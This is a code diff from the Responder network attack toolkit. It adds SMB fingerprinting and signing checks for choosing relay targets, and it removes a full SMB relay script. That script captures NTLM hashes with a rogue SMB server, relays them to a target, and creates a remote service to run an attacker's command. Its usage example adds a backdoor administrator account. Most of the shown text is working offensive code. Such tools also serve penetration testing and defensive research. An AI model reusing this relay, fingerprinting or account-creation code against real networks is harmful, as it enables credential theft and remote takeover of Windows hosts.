+        ("Bcc","\x2f\x00"),
+        ("Passwd", "\x00"),
+        ("Path",""),
+        ("PathTerminator","\x00\x00"),
+        ("Service","?????"),
+        ("Terminator", "\x00"),
+
+    ])
+    def calculate(self): 
+         
+        ##Convert Path to Unicode first before any Len calc.
+        self.fields["Path"] = self.fields["Path"].encode('utf-16le')
+
+        ##Passwd Len
+        self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
+
+        ##Packet len
+        CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
+
+        self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
+
+        ##Bcc Buff Len
+        BccComplete    = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
+        self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
+
+
+class SMBTransRAPData(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x10"),
+        ("TotalParamCount", "\x00\x00"),
+        ("TotalDataCount","\x00\x00" ),
+        ("MaxParamCount", "\xff\xff"),
+        ("MaxDataCount","\xff\xff"),
+        ("MaxSetupCount", "\x00"),
+        ("Reserved","\x00\x00"),
+        ("Flags", "\x00"),
+        ("Timeout","\x00\x00\x00\x00"),
+        ("Reserved1","\x00\x00"),
+        ("ParamCount","\x00\x00"),
+        ("ParamOffset", "\x5c\x00"),
+        ("DataCount", "\x00\x00"),
+        ("DataOffset", "\x54\x00"),
+        ("SetupCount", "\x02"),
+        ("Reserved2", "\x00"),
+        ("PeekNamedPipe", "\x23\x00"),
+        ("FID", "\x00\x00"),
+        ("Bcc", "\x47\x00"),
+        ("Terminator", "\x00"),
+        ("PipeName", "\\PIPE\\"),
+        ("PipeTerminator","\x00\x00"),
+        ("Data", ""),
+
+    ])
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["Data"]))%2==0:
+           self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["PipeTerminator"] = "\x00\x00\x00"
+        ##Convert Path to Unicode first before any Len calc.
+        self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
+
+        ##Data Len
+        self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
+        self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
+
+        ##Packet len
+        FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
+
+        self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
+        ##Bcc Buff Len
+        BccComplete    = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
+        self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
+

tools/SMBFinger/Finger.py

@@ -15,19 +15,14 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import re,sys,socket,struct
+import multiprocessing
 from socket import *
+from time import sleep
 from odict import OrderedDict
-import optparse
 
-__version__ = "0.3"
+__version__ = "0.7"
 
-parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
-
-parser.add_option('-i','--ip',             action="store",      help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
-options, args = parser.parse_args()
-
-Timeout = 0.3
-Host = options.TARGET
+Timeout = 2
 
 class Packet():
     fields = OrderedDict([
@@ -130,6 +125,15 @@ class SMBNegoDataLanMan(Packet):
 
 #####################
 
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def IsSigningEnabled(data): 
+    if data[39] == "\x0f":
+        return True
+    else:
+        return False
+
 def atod(a): 
     return struct.unpack("!L",inet_aton(a))[0]
 
@@ -139,15 +143,22 @@ def dtoa(d):
 def OsNameClientVersion(data):
 	try:
 		length = struct.unpack('<H',data[43:45])[0]
-		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
-		return OsVersion, ClientVersion
-
+                if length > 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
+                if length <= 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
 	except:
 	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
 
 def GetHostnameAndDomainName(data):
 	try:
 		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
+                #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
+		if Hostname == '':
+			DomainJoined = data[81:110].replace('\x00','')
+			Hostname = data[113:].replace('\x00','')
 		return Hostname, DomainJoined
 	except:
 	 	return "Could not get Hostname.", "Could not get Domain joined"
@@ -168,6 +179,7 @@ def DomainGrab(Host):
        buffer0 = longueur(packet0)+packet0
        s.send(buffer0)
        data = s.recv(2048)
+       s.close()
        if data[8:10] == "\x72\x00":
           return GetHostnameAndDomainName(data)
     except:
@@ -189,6 +201,7 @@ def SmbFinger(Host):
        buffer0 = longueur(packet0)+packet0
        s.send(buffer0)
        data = s.recv(2048)
+       signing = IsSigningEnabled(data)
        if data[8:10] == "\x72\x00":
           head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
           t = SMBSessionFingerData()
@@ -197,10 +210,33 @@ def SmbFinger(Host):
           buffer1 = longueur(packet0)+packet0  
           s.send(buffer1) 
           data = s.recv(2048)
+          s.close()
        if data[8:10] == "\x73\x16":
-          return OsNameClientVersion(data)
+          OsVersion, ClientVersion = OsNameClientVersion(data)
+          return signing, OsVersion, ClientVersion
     except:
        pass
+
+def SmbFingerSigning(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect((Host, 445))
+    except:
+       return False
+    try:     
+       h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+       n = SMBNego(Data = SMBNegoData())
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       signing = IsSigningEnabled(data)
+       return signing
+    except:
+       pass
+
 ##################
 #run it
 def ShowResults(Host):
@@ -212,14 +248,71 @@ def ShowResults(Host):
        return False
 
     try:
-       print "Retrieving information for %s..."%Host[0]
-       OsVer, LanManClient = SmbFinger(Host)
-       print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
        Hostname, DomainJoined = DomainGrab(Host)
-       print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       enabled  = color("SMB signing is mandatory. Choose another target", 1, 1)
+       disabled = color("SMB signing: False", 2, 1)
+       print color("Retrieving information for %s..."%Host[0], 8, 1)
+       print enabled if Signing else disabled
+       print color("Os version: '%s'"%(OsVer), 8, 3)
+       print color("Hostname: '%s'\nPart of the '%s' domain"%(Hostname, DomainJoined), 8, 3)
     except:
        pass
 
+def ShowSmallResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       Message = color("\n[+] Client info: ['%s', domain: '%s', signing:'%s']"%(OsVer, DomainJoined, Signing),4,0)
+       return Message
+    except:
+       pass
+
+
+def ShowScanSmallResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
+       print Message
+    except:
+       pass
+
+
+def ShowSigning(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect((Host, 445))
+    except:
+       print "[Pivot Verification Failed]: Target host is down" 
+       return True
+
+    try:
+       Signing = SmbFingerSigning(Host)
+       if Signing == True:
+          print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
+          return True
+       else:
+          return False
+    except:
+       pass
+
+
 def RunFinger(Host):
     m = re.search("/", str(Host))
     if m :
@@ -231,4 +324,23 @@ def RunFinger(Host):
     else:
        ShowResults((Host,445))   
 
-RunFinger(Host)
+
+def RunPivotScan(Host, CurrentIP):
+    m = re.search("/", str(Host))
+    if m :
+       net,_,mask = Host.partition('/')
+       mask = int(mask)
+       net = atod(net)
+       threads = []
+       for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
+           if CurrentIP == host:
+              pass
+           else:
+              p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
+              threads.append(p)
+              p.start()
+       sleep(1)
+    else:
+       ShowScanSmallResults((Host,445))
+
+

tools/SMBRelay.py

@@ -1,422 +0,0 @@
-#!/usr/bin/env python
-# This file is part of Responder, a network take-over set of tools 
-# created and maintained by Laurent Gaffie.
-# email: laurent.gaffie@gmail.com
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import sys
-import random
-import optparse
-import thread
-sys.path.append('../')
-from fingerprint import RunSmbFinger
-from socket import *
-from RelayPackets import *
-from packets import *
-from servers.SMB import *
-from packets import Packet
-
-import logging
-Logs = logging
-Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
-
-
-def longueur(payload):
-	return struct.pack(">i", len(''.join(payload)))
-
-
-def UserCallBack(op, value, dmy, parser):
-    args=[]
-    for arg in parser.rargs:
-        if arg[0] != "-":
-            args.append(arg)
-    if getattr(parser.values, op.dest):
-        args.extend(getattr(parser.values, op.dest))
-    setattr(parser.values, op.dest, args)
-
-parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],)
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
-parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
-parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
-parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
-parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
-
-options, args = parser.parse_args()
-
-if options.CMD is None:
-    print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
-    parser.print_help()
-    exit(-1)
-elif options.TARGET is None:
-    print "\n-t mandatory option is missing, please provide a target.\n"
-    parser.print_help()
-    exit(-1)
-elif options.UserToRelay is None:
-    print "\n-u mandatory option is missing, please provide a username to relay.\n"
-    parser.print_help()
-    exit(-1)
-
-ResponderPATH = os.path.dirname(__file__)
-UserToRelay = options.UserToRelay
-Domain  = options.Domain
-Command  = options.CMD
-Target = options.TARGET
-Responder_IP = options.Responder_IP
-
-print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com"
-print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames  to relay (-u) are case sensitive.'+'\033[0m'
-print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
-
-#Function used to verify if a previous auth attempt was made.
-def ReadData(outfile,Client, User, cmd=None):
-    try:
-        with open(ResponderPATH+outfile,"r") as filestr:
-            if cmd is None:
-                String = Client+':'+User
-                if re.search(String.encode('hex'), filestr.read().encode('hex')):
-                    return True
-                return False
-            if cmd is not None:
-                String = Client+","+User+","+cmd
-                if re.search(String.encode('hex'), filestr.read().encode('hex')):
-                    print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
-                    return True
-                return False
-    except:
-        raise
-
-#Function used to parse SMB NTLMv1/v2
-def ParseHash(data,Client, Target):
-    try:
-        lenght = struct.unpack('<H',data[43:45])[0]
-        LMhashLen = struct.unpack('<H',data[51:53])[0]
-        NthashLen = struct.unpack('<H',data[53:55])[0]
-        Bcc = struct.unpack('<H',data[63:65])[0]
-        if NthashLen >= 30:
-            Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
-            pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-            var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-            Username, Domain = tuple(var)
-            if ReadData("SMBRelay-Session.txt", Client, Username):
-                print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
-            if Username in UserToRelay:
-                print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
-                print "Username : ",Username
-                print "Domain (if joined, if not then computer name) : ",Domain
-                return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
-        if NthashLen == 24:
-            pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-            var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-            Username, Domain = tuple(var)
-            if ReadData("SMBRelay-Session.txt", Client, Username):
-                print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
-            if Username in UserToRelay:
-                print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
-                LMHashing = data[65:65+LMhashLen].encode('hex').upper()
-                NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
-                print "Username : ",Username
-                print "Domain (if joined, if not then computer name) : ",Domain
-                return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
-            else:
-                print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
-    except Exception:
-        raise
-
-#Detect if SMB auth was Anonymous
-def Is_Anonymous(data):
-    LMhashLen = struct.unpack('<H',data[51:53])[0]
-    if LMhashLen == 0 or LMhashLen == 1:
-        print "SMB Anonymous login requested, trying to force client to auth with credz."
-        return True
-    return False
-
-def ParseDomain(data):
-    return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
-
-#Function used to know which dialect number to return for NT LM 0.12
-def Parse_Nego_Dialect(data):
-    DialectStart = data[40:]
-    pack = tuple(DialectStart.split('\x02'))[:10]
-    var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
-    test = tuple(var)
-    if test[0] == "NT LM 0.12":
-        return "\x00\x00"
-    if test[1] == "NT LM 0.12":
-        return "\x01\x00"
-    if test[2] == "NT LM 0.12":
-        return "\x02\x00"
-    if test[3] == "NT LM 0.12":
-        return "\x03\x00"
-    if test[4] == "NT LM 0.12":
-        return "\x04\x00"
-    if test[5] == "NT LM 0.12":
-        return "\x05\x00"
-    if test[6] == "NT LM 0.12":
-        return "\x06\x00"
-    if test[7] == "NT LM 0.12":
-        return "\x07\x00"
-    if test[8] == "NT LM 0.12":
-        return "\x08\x00"
-    if test[9] == "NT LM 0.12":
-        return "\x09\x00"
-    if test[10] == "NT LM 0.12":
-        return "\x0a\x00"
-
-def SmbRogueSrv139(key,Target,DomainMachineName):
-    s = socket(AF_INET,SOCK_STREAM)
-    s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
-    s.settimeout(30)
-    try:
-        s.bind(('0.0.0.0', 139))
-        s.listen(0)
-        conn, addr = s.accept()
-    except error, msg:
-        if "Address already in use" in msg:
-            print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
-
-    try:
-        while True:
-            data = conn.recv(1024)
-            ##session request 139
-            if data[0] == "\x81":
-                buffer0 = "\x82\x00\x00\x00"
-                conn.send(buffer0)
-            ##Negotiate proto answer.
-            if data[8:10] == "\x72\x00":
-                head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
-                t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
-                t.calculate()
-                packet1 = str(head)+str(t)
-                buffer1 = longueur(packet1)+packet1
-                conn.send(buffer1)
-                ##Session Setup AndX Request
-            if data[8:10] == "\x73\x00":
-                if Is_Anonymous(data):
-                    head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
-                    packet1 = str(head)+str(SMBSessEmpty())
-                    buffer1 = longueur(packet1)+packet1
-                    conn.send(buffer1)
-                else:
-                    head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
-                    packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
-                    buffer1 = longueur(packet1)+packet1
-                    conn.send(buffer1)
-                    Credz = ParseHash(data,addr[0],Target)
-                    return Credz
-    except:
-        return None
-
-def RunRelay(host, Command,Domain):
-    Target = host
-    CMD = Command
-    print "Target is running: ", RunSmbFinger((host, 445))
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect((host, 445))
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
-    n = SMBNego(Data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    Key = ParseAnswerKey(data,host)
-    DomainMachineName = ParseDomain(data)
-    if data[8:10] == "\x72\x00":
-        try:
-            a = SmbRogueSrv139(Key,Target,DomainMachineName)
-            if a is not None:
-                LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
-                if Domain is None:
-                    Domain = OriginalDomain
-                if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
-                    pass
-                else:
-                    head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
-                    t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
-                    t.calculate()
-                    packet0 = str(head)+str(t)
-                    buffer1 = longueur(packet0)+packet0
-                    s.send(buffer1)
-                    data = s.recv(2048)
-        except:
-            raise
-            a = None
-    if data[8:10] == "\x73\x6d":
-        print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
-        Logs.info(CLIENTIP+":"+Username)
-    if data[8:10] == "\x73\x0d":
-        print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
-        Logs.info(CLIENTIP+":"+Username)
-        ## NtCreateAndx
-    if data[8:10] == "\x73\x00":
-        print "[+] Authenticated, trying to PSexec on target !"
-        head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        t = SMBNTCreateData()
-        t.calculate()
-        packet0 = str(head)+str(t)
-        buffer1 = longueur(packet0)+packet0
-        s.send(buffer1)
-        data = s.recv(2048)
-        ## Fail Handling.
-    if data[8:10] == "\xa2\x22":
-        print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
-        ## DCE/RPC Write.
-    if data[8:10] == "\xa2\x00":
-        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        x = SMBDCEData()
-        x.calculate()
-        f = data[42:44]
-        t = SMBWriteData(FID=f,Data=x)
-        t.calculate()
-        packet0 = str(head)+str(t)
-        buffer1 = longueur(packet0)+packet0
-        s.send(buffer1)
-        data = s.recv(2048)
-        ## DCE/RPC Read.
-        if data[8:10] == "\x2f\x00":
-            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-            t = SMBReadData(FID=f)
-            t.calculate()
-            packet0 = str(head)+str(t)
-            buffer1 = longueur(packet0)+packet0
-            s.send(buffer1)
-            data = s.recv(2048)
-            ## DCE/RPC SVCCTLOpenManagerW.
-            if data[8:10] == "\x2e\x00":
-                head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
-                w.calculate()
-                x = SMBDCEPacketData(Data=w)
-                x.calculate()
-                t = SMBWriteData(FID=f,Data=x)
-                t.calculate()
-                packet0 = str(head)+str(t)
-                buffer1 = longueur(packet0)+packet0
-                s.send(buffer1)
-                data = s.recv(2048)
-                ## DCE/RPC Read Answer.
-                if data[8:10] == "\x2f\x00":
-                    head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                    t = SMBReadData(FID=f)
-                    t.calculate()
-                    packet0 = str(head)+str(t)
-                    buffer1 = longueur(packet0)+packet0
-                    s.send(buffer1)
-                    data = s.recv(2048)
-                    ## DCE/RPC SVCCTLCreateService.
-                    if data[8:10] == "\x2e\x00":
-                        if data[len(data)-4:] == "\x05\x00\x00\x00":
-                            print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
-                        print "[+] Creating service"
-                        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                        ContextHandler = data[88:108]
-                        ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
-                        ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
-                        FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
-                        w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
-                        w.calculate()
-                        x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
-                        x.calculate()
-                        t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                        t.calculate()
-                        packet0 = str(head)+str(t)
-                        buffer1 = longueur(packet0)+packet0
-                        s.send(buffer1)
-                        data = s.recv(2048)
-                        ## DCE/RPC Read Answer.
-                        if data[8:10] == "\x2f\x00":
-                            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                            t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                            t.calculate()
-                            packet0 = str(head)+str(t)
-                            buffer1 = longueur(packet0)+packet0
-                            s.send(buffer1)
-                            data = s.recv(2048)
-                            ## DCE/RPC SVCCTLOpenService.
-                            if data[8:10] == "\x2e\x00":
-                                if data[len(data)-4:] == "\x05\x00\x00\x00":
-                                    print "[+] Failed to create the service"
-
-                                head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
-                                w.calculate()
-                                x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
-                                x.calculate()
-                                t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                                t.calculate()
-                                packet0 = str(head)+str(t)
-                                buffer1 = longueur(packet0)+packet0
-                                s.send(buffer1)
-                                data = s.recv(2048)
-                                ## DCE/RPC Read Answer.
-                                if data[8:10] == "\x2f\x00":
-                                    head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                    t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                                    t.calculate()
-                                    packet0 = str(head)+str(t)
-                                    buffer1 = longueur(packet0)+packet0
-                                    s.send(buffer1)
-                                    data = s.recv(2048)
-                                    ## DCE/RPC SVCCTLStartService.
-                                    if data[8:10] == "\x2e\x00":
-                                        if data[len(data)-4:] == "\x05\x00\x00\x00":
-                                            print "[+] Failed to open the service"
-                                        ContextHandler = data[88:108]
-                                        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                        w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
-                                        x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
-                                        x.calculate()
-                                        t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                                        t.calculate()
-                                        packet0 = str(head)+str(t)
-                                        buffer1 = longueur(packet0)+packet0
-                                        s.send(buffer1)
-                                        data = s.recv(2048)
-                                        ## DCE/RPC Read Answer.
-                                        if data[8:10] == "\x2f\x00":
-                                            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                            t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                                            t.calculate()
-                                            packet0 = str(head)+str(t)
-                                            buffer1 = longueur(packet0)+packet0
-                                            s.send(buffer1)
-                                            data = s.recv(2048)
-                                            if data[8:10] == "\x2e\x00":
-                                                print "[+] Command successful !"
-                                                Logs.info('Command successful:')
-                                                Logs.info(Target+","+Username+','+CMD)
-                                                return True
-                                            if data[8:10] != "\x2e\x00":
-                                                return False
-
-
-def RunInloop(Target,Command,Domain):
-    try:
-        while True:
-            worker = RunRelay(Target,Command,Domain)
-    except:
-        raise
-
-
-def main():
-    try:
-        thread.start_new(RunInloop,(Target,Command,Domain))
-    except KeyboardInterrupt:
-        exit()
-
-if __name__ == '__main__':
-    try:
-        main()
-    except KeyboardInterrupt:
-        raise
-    raw_input()

utils.py

@@ -23,6 +23,17 @@ import time
 import settings
 import datetime
 
+def RandomChallenge():
+    if settings.Config.NumChal == "random":
+       from random import getrandbits
+       NumChal = '%016x' % getrandbits(16 * 4)
+       Challenge = ''
+       for i in range(0, len(NumChal),2):
+	   Challenge += NumChal[i:i+2].decode("hex")
+       return Challenge
+    else:
+       return settings.Config.Challenge
+
 def HTTPCurrentDate():
     Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
     return Date
@@ -135,14 +146,17 @@ def DumpConfig(outfile, data):
 	with open(outfile,"a") as dump:
 		dump.write(data + '\n')
 
-def SaveToDb(result):
-	# Creating the DB if it doesn't exist
+def CreateResponderDb():
 	if not os.path.exists(settings.Config.DatabaseFile):
 		cursor = sqlite3.connect(settings.Config.DatabaseFile)
-		cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
+		cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
+		cursor.commit()
